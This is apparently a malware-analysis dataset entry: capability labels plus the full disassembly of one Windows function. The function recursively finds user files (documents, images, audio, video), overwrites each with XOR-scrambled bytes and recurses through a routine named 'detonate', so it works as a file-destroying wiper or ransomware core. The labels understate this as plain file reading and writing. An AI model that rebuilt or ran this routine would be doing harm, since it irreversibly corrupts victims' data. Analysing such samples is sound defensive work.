Function at 0x1400015c7
Capabilities:
Enumerate files on windows
Enumerate files recursively
Read file on windows
Write file on windows

Disassembly:
push rbp
sub rsp, 0x3a0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x330], rcx
mov rdx, qword [rbp + 0x330]
lea rax, [rbp + 0x1e0]
mov r8, rdx
lea rdx, str._s
mov rcx, rax
call sym.sprintf
lea rdx, [rbp + 0xa0]
lea rax, [rbp + 0x1e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindFirstFileA]
call rax
mov qword [rbp + 0x310], rax
lea rax, [rbp + 0xa0]
add rax, 0x2c
lea rdx, [0x14000b0b7]
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x1400019a7
lea rax, [rbp + 0xa0]
add rax, 0x2c
lea rdx, [0x14000b0b9]
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x1400019a7
lea rax, [rbp + 0xa0]
lea rcx, [rax + 0x2c]
mov rdx, qword [rbp + 0x330]
lea rax, [rbp - 0x60]
mov r9, rcx
mov r8, rdx
lea rdx, str._s_s
mov rcx, rax
call sym.sprintf
lea rax, [rbp + 0xa0]
add rax, 0x2c
lea rdx, str.Windows
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x1400019a6
lea rax, [rbp + 0xa0]
add rax, 0x2c
lea rdx, str.Program_Files
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x1400019a6
lea rax, [rbp + 0xa0]
add rax, 0x2c
lea rdx, str.Program_Files__x86_
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x1400019a6
lea rax, [rbp - 0x60]
mov edx, 0x2e
mov rcx, rax
call sym.strrchr
mov qword [rbp + 0x308], rax
cmp qword [rbp + 0x308], 0
je 0x14000198b
mov rax, qword [rbp + 0x308]
lea rdx, str..txt
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x140001836
mov rax, qword [rbp + 0x308]
lea rdx, str..mp4
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x140001836
mov rax, qword [rbp + 0x308]
lea rdx, str..png
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x140001836
mov rax, qword [rbp + 0x308]
lea rdx, str..jpeg
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x140001836
mov rax, qword [rbp + 0x308]
lea rdx, str..jpg
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x140001836
mov rax, qword [rbp + 0x308]
lea rdx, str..avi
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x140001836
mov rax, qword [rbp + 0x308]
lea rdx, str..pdf
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x140001836
mov rax, qword [rbp + 0x308]
lea rdx, str..mp3
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x140001836
mov rax, qword [rbp + 0x308]
lea rdx, str..gif
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x140001836
mov rax, qword [rbp + 0x308]
lea rdx, str..mpeg
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x14000198b
lea rax, [rbp - 0x60]
lea rdx, [0x14000b120]
mov rcx, rax
call sym.fopen
mov qword [rbp + 0x300], rax
mov rax, qword [rbp + 0x300]
mov r8d, 2
mov edx, 0
mov rcx, rax
call sym.fseek
mov rax, qword [rbp + 0x300]
mov rcx, rax
call sym.ftell
mov dword [rbp + 0x2fc], eax
mov rax, qword [rbp + 0x300]
mov rcx, rax
call sym.rewind
mov eax, dword [rbp + 0x2fc]
cdqe
mov rcx, rax
call sym.malloc
mov qword [rbp + 0x2f0], rax
mov eax, dword [rbp + 0x2fc]
movsxd rdx, eax
mov rcx, qword [rbp + 0x300]
mov rax, qword [rbp + 0x2f0]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fread
mov dword [rbp + 0x31c], 0
jmp 0x140001926
call sym.rand
mov dword [rbp + 0x2ec], eax
mov eax, dword [rbp + 0x31c]
movsxd rdx, eax
mov rax, qword [rbp + 0x2f0]
add rax, rdx
movzx eax, byte [rax]
mov edx, eax
mov eax, dword [rbp + 0x2ec]
mov ecx, edx
xor ecx, eax
mov eax, dword [rbp + 0x31c]
movsxd rdx, eax
mov rax, qword [rbp + 0x2f0]
add rax, rdx
mov edx, ecx
mov byte [rax], dl
add dword [rbp + 0x31c], 1
mov eax, dword [rbp + 0x31c]
cmp eax, dword [rbp + 0x2fc]
jl 0x1400018db
mov rax, qword [rbp + 0x300]
mov rcx, rax
call sym.rewind
mov eax, dword [rbp + 0x2fc]
movsxd rdx, eax
mov rcx, qword [rbp + 0x300]
mov rax, qword [rbp + 0x2f0]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fwrite
mov rax, qword [rbp + 0x2f0]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x300]
mov rcx, rax
call sym.fclose
mov eax, dword [rbp + 0xa0]
and eax, 0x10
test eax, eax
je 0x1400019a7
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.detonate
jmp 0x1400019a7
nop
lea rdx, [rbp + 0xa0]
mov rax, qword [rbp + 0x310]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindNextFileA]
call rax
test eax, eax
jne 0x14000161f
mov rax, qword [rbp + 0x310]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindClose]
call rax
nop
add rsp, 0x3a0
pop rbp
ret